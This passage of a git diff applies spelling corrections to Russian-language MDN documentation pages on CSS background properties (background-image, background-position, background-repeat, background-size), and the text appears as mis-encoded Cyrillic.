<p>Бвойство <a href="/ru/docs/CSS" title="/ru/docs/CSS">CSS</a>Β  <strong><code>background-image</code></strong> устанавливаСт ΠΎΠ΄Π½ΠΎ ΠΈΠ»ΠΈ нСсколько Ρ„ΠΎΠ½ΠΎΠ²Ρ‹Ρ… ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ для элСмСнта. Π˜Π·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡΒ Ρ€ΠΈΡΡƒΡŽΡ‚ΡΡ Π² слоях контСкстов налоТСния ΠΎΠ΄Π½ΠΎ ΠΏΠΎΠ²Π΅Ρ€Ρ… Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ. ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ слой выводится Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ Π±Ρ‹Π» Π±Π»ΠΈΠΆΠ΅ всСго ΠΊ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ.</p>
-<p><a href="/ru/CSS/border" title="border">Π“Ρ€Π°Π½ΠΈΡ†Ρ‹</a> {{cssxref("border")}} элСмСнта Π·Π°Ρ‚Π΅ΠΌ Ρ€ΠΈΡΡƒΡŽΡ‚ΡΡ ΠΏΠΎΠ²Π΅Ρ€Ρ… Π½ΠΈΡ…, ΠΈ {{cssxref("background-color")}} рисуСтся ΠΏΠΎΠ΄ Π½ΠΈΠΌΠΈ. Π’ΠΎ, ΠΊΠ°ΠΊ изобраТСния ΠΎΡ‚Ρ€ΠΈΡΠΎΠ²Ρ‹Π²Π°ΡŽΡ‚ΡΡ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Ρ€Π°ΠΌΠΊΠΈ ΠΈ Π΅Π΅ Π³Ρ€Π°Π½ΠΈΡ†, опрСдСляСтся CSS свойствами {{cssxref("background-clip")}} ΠΈ {{cssxref("background-origin")}}.</p>
+<p><a href="/ru/CSS/border" title="border">Π“Ρ€Π°Π½ΠΈΡ†Ρ‹</a> {{cssxref("border")}} элСмСнта Π·Π°Ρ‚Π΅ΠΌ Ρ€ΠΈΡΡƒΡŽΡ‚ΡΡ ΠΏΠΎΠ²Π΅Ρ€Ρ… Π½ΠΈΡ…, ΠΈ {{cssxref("background-color")}} рисуСтся ΠΏΠΎΠ΄ Π½ΠΈΠΌΠΈ. Π’ΠΎ, ΠΊΠ°ΠΊ изобраТСния ΠΎΡ‚Ρ€ΠΈΡΠΎΠ²Ρ‹Π²Π°ΡŽΡ‚ΡΡ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Ρ€Π°ΠΌΠΊΠΈ ΠΈ Π΅Ρ‘ Π³Ρ€Π°Π½ΠΈΡ†, опрСдСляСтся CSS свойствами {{cssxref("background-clip")}} ΠΈ {{cssxref("background-origin")}}.</p>
-<p>Если ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ нарисовано (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠΎΠ³Π΄Π° Ρ„Π°ΠΉΠ», ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΌ URI, Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½), Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ Π΅Π³ΠΎ Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ Ссли Π±Ρ‹ ΠΎΠ½ΠΎ Π±Ρ‹Π»ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>none</code>.</p>
+<p>Если ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ нарисовано (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠΎΠ³Π΄Π° Ρ„Π°ΠΉΠ», ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΌ URI, Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½), Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ Π΅Π³ΠΎ Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ Ссли Π±Ρ‹ ΠΎΠ½ΠΎ Π±Ρ‹Π»ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>none</code>.</p>
<div class="note"><strong>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅:</strong>Β Π”Π°ΠΆΠ΅, Ссли ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½ΠΎ ΠΈ Ρ†Π²Π΅Ρ‚ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠΊΠ°Π·Π°Π½ ΠΏΡ€ΠΈ Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹Ρ… ΠΎΠ±ΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΡΡ‚Π²Π°Ρ…, Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΡƒ слСдуСт всСгда ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β {{cssxref("background-color")}}. Если ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½ΠΎ β€”Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π² случаС ΠΎΡ‚ΠΊΠ°Π·Π° сСтСвого ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ β€” Ρƒ элСмСнта Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΡ‘Π½ Ρ†Π²Π΅Ρ‚Π½ΠΎΠΉ Ρ„ΠΎΠ½.</div>
@@ -36,7 +36,7 @@ background-image: inherit;
<dt><code>none</code></dt>
<dd>Π­Ρ‚ΠΎ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ отсутствиС ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ.</dd>
<dt><code>&lt;image&gt;</code></dt>
- <dd>{{cssxref("&lt;image&gt;")}} ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ для отобраТСния. Π˜Ρ… ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ нСсколько, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… запятыми, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ поддСрТиваСтся<a href="/ru/docs/CSS/Multiple_backgrounds" title="Multiple backgrounds"> нСсколько Ρ„ΠΎΠ½ΠΎΠ²</a>.</dd>
+ <dd>{{cssxref("&lt;image&gt;")}} ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ для отобраТСния. Π˜Ρ… ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ нСсколько, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… запятыми, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ поддСрТиваСтся<a href="/ru/docs/CSS/Multiple_backgrounds" title="Multiple backgrounds"> нСсколько Ρ„ΠΎΠ½ΠΎΠ²</a>.</dd>
</dl>
<h3 id="ΠžΡ„ΠΈΡ†ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΉ_синтаксис">ΠžΡ„ΠΈΡ†ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΉ синтаксис</h3>
diff --git a/files/ru/web/css/background-position-x/index.html b/files/ru/web/css/background-position-x/index.html
index 3aaa1af51e..ffebd13721 100644
--- a/files/ru/web/css/background-position-x/index.html
+++ b/files/ru/web/css/background-position-x/index.html
@@ -11,7 +11,7 @@ translation_of: Web/CSS/background-position-x
-<p>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ этого свойства отмСняСтся любой Π΄Π΅ΠΊΠ»Π°Ρ€Π°Ρ†ΠΈΠ΅ΠΉ {{cssxref("background")}} ΠΈΠ»ΠΈ ΠΊΠΎΡ€ΠΎΡ‚ΠΊΠΈΠΌ свойством {{cssxref("background-position")}} ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Π½Ρ‹ΠΌΠΈ послС Π΅Π³ΠΎ объявлСния.</p>
+<p>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ этого свойства отмСняСтся любой Π΄Π΅ΠΊΠ»Π°Ρ€Π°Ρ†ΠΈΠ΅ΠΉ {{cssxref("background")}} ΠΈΠ»ΠΈ ΠΊΠΎΡ€ΠΎΡ‚ΠΊΠΈΠΌ свойством {{cssxref("background-position")}} ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½Π½Ρ‹ΠΌΠΈ послС Π΅Π³ΠΎ объявлСния.</p>
<h2 id="Syntax" name="Syntax">Бинтаксис</h2>
@@ -41,7 +41,7 @@ background-position-x: initial;
background-position-x: unset;
</pre>
-<p>Бвойство <code>background-position-x</code> ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΎΠ΄Π½ΠΎ ΠΈΠ»ΠΈ нСсколько Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… запятыми.</p>
+<p>Бвойство <code>background-position-x</code> ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΎΠ΄Π½ΠΎ ΠΈΠ»ΠΈ нСсколько Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… запятыми.</p>
<h3 id="ЗначСния">ЗначСния</h3>
diff --git a/files/ru/web/css/background-position/index.html b/files/ru/web/css/background-position/index.html
index dcd216c010..97620ff7d2 100644
--- a/files/ru/web/css/background-position/index.html
+++ b/files/ru/web/css/background-position/index.html
@@ -43,7 +43,7 @@ background-position: initial;
background-position: unset;
</pre>
-<p>Бвойство <code>background-position</code> указываСтся Π² Π²ΠΈΠ΄Π΅ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ»ΠΈ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ <code><a href="#&lt;position>">&lt;position&gt;</a></code>, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… запятыми.</p>
+<p>Бвойство <code>background-position</code> указываСтся Π² Π²ΠΈΠ΄Π΅ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ»ΠΈ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ <code><a href="#&lt;position>">&lt;position&gt;</a></code>, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… запятыми.</p>
<h3 id="Values" name="Values">ЗначСния</h3>
@@ -83,7 +83,7 @@ background-position: unset;
<h2 id="Examples" name="Examples">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
-<p>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· этих ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ свойство {{cssxref("background")}} для создания ΠΆΠ΅Π»Ρ‚ΠΎΠ³ΠΎ, ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΎΠ³ΠΎ элСмСнта, содСрТащСго ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π·Π²Π΅Π·Π΄Ρ‹. Π’ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, Π·Π²Π΅Π·Π΄Π° находится Π² Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ. Π’Ρ€Π΅Ρ‚ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΈΠ»Π»ΡŽΡΡ‚Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚, ΠΊΠ°ΠΊ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ для Ρ€Π°Π·Π½Ρ‹Ρ… Ρ„ΠΎΠ½ΠΎΠ²Ρ‹Ρ… ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ Π² ΠΎΠ΄Π½ΠΎΠΌ элСмСнтС.</p>
+<p>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· этих ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ свойство {{cssxref("background")}} для создания ΠΆΡ‘Π»Ρ‚ΠΎΠ³ΠΎ, ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΎΠ³ΠΎ элСмСнта, содСрТащСго ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π·Π²Π΅Π·Π΄Ρ‹. Π’ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, Π·Π²Π΅Π·Π΄Π° находится Π² Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ. Π’Ρ€Π΅Ρ‚ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΈΠ»Π»ΡŽΡΡ‚Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚, ΠΊΠ°ΠΊ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ для Ρ€Π°Π·Π½Ρ‹Ρ… Ρ„ΠΎΠ½ΠΎΠ²Ρ‹Ρ… ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ Π² ΠΎΠ΄Π½ΠΎΠΌ элСмСнтС.</p>
<h3 id="HTML">HTML</h3>
@@ -102,7 +102,7 @@ div {
margin-bottom: 12px;
}
-/* Π’ этих ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°Ρ… ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ сокращСнноС свойство 'background' */
+/* Π’ этих ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°Ρ… ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ сокращённоС свойство 'background' */
.exampleone {
background: url("https://mdn.mozillademos.org/files/11987/startransparent.gif") #FFEE99 2.5cm bottom no-repeat;
}
diff --git a/files/ru/web/css/background-repeat/index.html b/files/ru/web/css/background-repeat/index.html
index 76eb8e36a1..ad4d0bffd0 100644
--- a/files/ru/web/css/background-repeat/index.html
+++ b/files/ru/web/css/background-repeat/index.html
@@ -177,7 +177,7 @@ div {
<tr>
<td>{{SpecName('CSS3 Backgrounds', '#the-background-repeat', 'background-repeat')}}</td>
<td>{{Spec2('CSS3 Backgrounds')}}</td>
- <td>Π”ΠΎΠ±Π°Π²Π»Π΅Π½Π° ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ с нСсколькими Ρ„ΠΎΠ½Π°ΠΌΠΈ, синтаксис с двумя значСниями, ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°ΡŽΡ‰ΠΈΠΉ Ρ€Π°Π·Π»ΠΈΡ‡Π½ΠΎΠ΅ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ повторСния для Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΈ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΉ, ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… слов <code>space</code> ΠΈ <code>round</code>, Π° Ρ‚Π°ΠΊΠΆΠ΅ для Ρ„ΠΎΠ½Π° Π½Π° элСмСнтС Π½Π° ΡƒΡ€ΠΎΠ²Π½Π΅ строки ΠΏΡƒΡ‚Π΅ΠΌ Ρ‚ΠΎΡ‡Π½ΠΎΠ³ΠΎ опрСдСлСния области рисования Ρ„ΠΎΠ½Π°.</td>
+ <td>Π”ΠΎΠ±Π°Π²Π»Π΅Π½Π° ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ с нСсколькими Ρ„ΠΎΠ½Π°ΠΌΠΈ, синтаксис с двумя значСниями, ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°ΡŽΡ‰ΠΈΠΉ Ρ€Π°Π·Π»ΠΈΡ‡Π½ΠΎΠ΅ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ повторСния для Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΈ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΉ, ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… слов <code>space</code> ΠΈ <code>round</code>, Π° Ρ‚Π°ΠΊΠΆΠ΅ для Ρ„ΠΎΠ½Π° Π½Π° элСмСнтС Π½Π° ΡƒΡ€ΠΎΠ²Π½Π΅ строки ΠΏΡƒΡ‚Ρ‘ΠΌ Ρ‚ΠΎΡ‡Π½ΠΎΠ³ΠΎ опрСдСлСния области рисования Ρ„ΠΎΠ½Π°.</td>
</tr>
<tr>
<td>{{SpecName('CSS2.1', 'colors.html#propdef-background-repeat', 'background-repeat')}}</td>
diff --git a/files/ru/web/css/background-size/index.html b/files/ru/web/css/background-size/index.html
index f93b74acd7..71c948b9e4 100644
--- a/files/ru/web/css/background-size/index.html
+++ b/files/ru/web/css/background-size/index.html
@@ -9,7 +9,7 @@ translation_of: Web/CSS/background-size
<p>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <strong><code>background-size</code></strong>Β Π²Β <a href="/en-US/docs/CSS" title="CSS">CSS</a> позволяСт Π·Π°Π΄Π°Π²Π°Ρ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€ Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠ³ΠΎ изобраТСния. Π˜Π·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ оставлСно Π² исходном Ρ€Π°Π·ΠΌΠ΅Ρ€Π΅, растянуто, ΠΈΠ»ΠΈ ΠΏΠΎΠ΄ΠΎΠ³Π½Π°Π½ΠΎ ΠΏΠΎΠ΄ размСры доступного пространства.</p>
-<div class="note"><strong>ΠŸΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π΅Π½ΠΈΠ΅:</strong> Если Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ этого свойства Π½Π΅ Π·Π°Π΄Π°Π½ΠΎ Π² сокращСнном свойствС {{cssxref("background")}}, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ примСняСтся ΠΊ элСмСнту послС CSS свойства <code>background-size</code>, Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ этого свойства Π·Π°Ρ‚Π΅ΠΌ сбрасываСтся Π΄ΠΎ исходного значСния c ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ сокращСнного свойства.</div>
+<div class="note"><strong>ΠŸΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π΅Π½ΠΈΠ΅:</strong> Если Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ этого свойства Π½Π΅ Π·Π°Π΄Π°Π½ΠΎ Π² сокращённом свойствС {{cssxref("background")}}, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ примСняСтся ΠΊ элСмСнту послС CSS свойства <code>background-size</code>, Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ этого свойства Π·Π°Ρ‚Π΅ΠΌ сбрасываСтся Π΄ΠΎ исходного значСния c ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ сокращённого свойства.</div>
<p>{{cssinfo}}</p>
@@ -68,7 +68,7 @@ background-size: unset;
<p>Π€ΠΎΠ½ΠΎΠ²Ρ‹Π΅ изобраТСния, сгСнСрированныС ΠΈΠ· элСмСнтов с использованиСм {{cssxref("-moz-element")}} (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ фактичСски ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‚ элСмСнту) Π² настоящСС врСмя ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ΡΡ ΠΊΠ°ΠΊ изобраТСния с Ρ€Π°Π·ΠΌΠ΅Ρ€Π°ΠΌΠΈ элСмСнта, ΠΈΠ»ΠΈ ΠΊΠ°ΠΊ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ располоТСния Ρ„ΠΎΠ½Π°, Ссли элСмСнтом являСтся SVG, с ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΉ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅ΠΉ ΠΏΡ€ΠΎΠΏΠΎΡ€Ρ†ΠΈΠ΅ΠΉ.</p>
-<div class="note"><strong>ΠŸΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π΅Π½ΠΈΠ΅:</strong> Π­Ρ‚ΠΎ Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ Π² настоящСС врСмя ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠ΅ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹ ΠΈ пропорция Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ Ρ‚Π°ΠΊΠΈΠΌΠΈ ΠΆΠ΅ ΠΊΠ°ΠΊ Ρƒ элСмСнта Π²ΠΎ всСх случаях.</div>
+<div class="note"><strong>ΠŸΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π΅Π½ΠΈΠ΅:</strong> Π­Ρ‚ΠΎ Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ Π² настоящСС врСмя ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠ΅ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹ ΠΈ пропорция Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ Ρ‚Π°ΠΊΠΈΠΌΠΈ ΠΆΠ΅ ΠΊΠ°ΠΊ Ρƒ элСмСнта Π²ΠΎ всСх случаях.</div>
<p>Π’ΠΈΠ·ΡƒΠ°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠ³ΠΎ изобраТСния Π·Π°Ρ‚Π΅ΠΌ вычисляСтся ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ способом:</p>
@@ -76,14 +76,14 @@ background-size: unset;
<dt><font face="Open Sans, Arial, sans-serif">Если ΠΎΠ±Π° Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° Π²Β </font><code>background-size</code>Β Π·Π°Π΄Π°Π½Ρ‹ ΠΈ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ ΠΎΡ‚Β <code>auto</code>:</dt>
<dd>Π€ΠΎΠ½ΠΎΠ²ΠΎΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ отобраТаСтся Π² ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΌ Ρ€Π°Π·ΠΌΠ΅Ρ€Π΅.</dd>
<dt>Если <code>background-size</code> содСрТит <code>contain</code>Β ΠΈΠ»ΠΈΒ <code>cover</code>:</dt>
- <dd>Π˜Π·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ визуализируСтся с сохранСниСм Π΅Π³ΠΎ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅ΠΉ ΠΏΡ€ΠΎΠΏΠΎΡ€Ρ†ΠΈΠΈ ΠΏΡ€ΠΈ наибольшСм Ρ€Π°Π·ΠΌΠ΅Ρ€Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТится Π²Π½ΡƒΡ‚Ρ€ΠΈ области размСщСния Ρ„ΠΎΠ½Π° ΠΈΠ»ΠΈ ΠΏΠΎΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ Π΅Π΅. Если ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅ΠΉ ΠΏΡ€ΠΎΠΏΠΎΡ€Ρ†ΠΈΠΈ, ΠΎΠ½ΠΎ отобраТаСтся с Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ области располоТСния Ρ„ΠΎΠ½Π°.</dd>
